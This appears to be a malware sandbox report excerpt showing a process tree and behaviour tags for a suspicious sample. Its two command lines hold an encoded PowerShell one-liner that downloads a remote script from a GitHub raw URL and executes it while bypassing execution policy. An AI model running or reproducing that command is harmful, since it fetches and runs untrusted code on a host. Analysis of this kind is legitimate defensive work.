C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:3104
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1252
-
-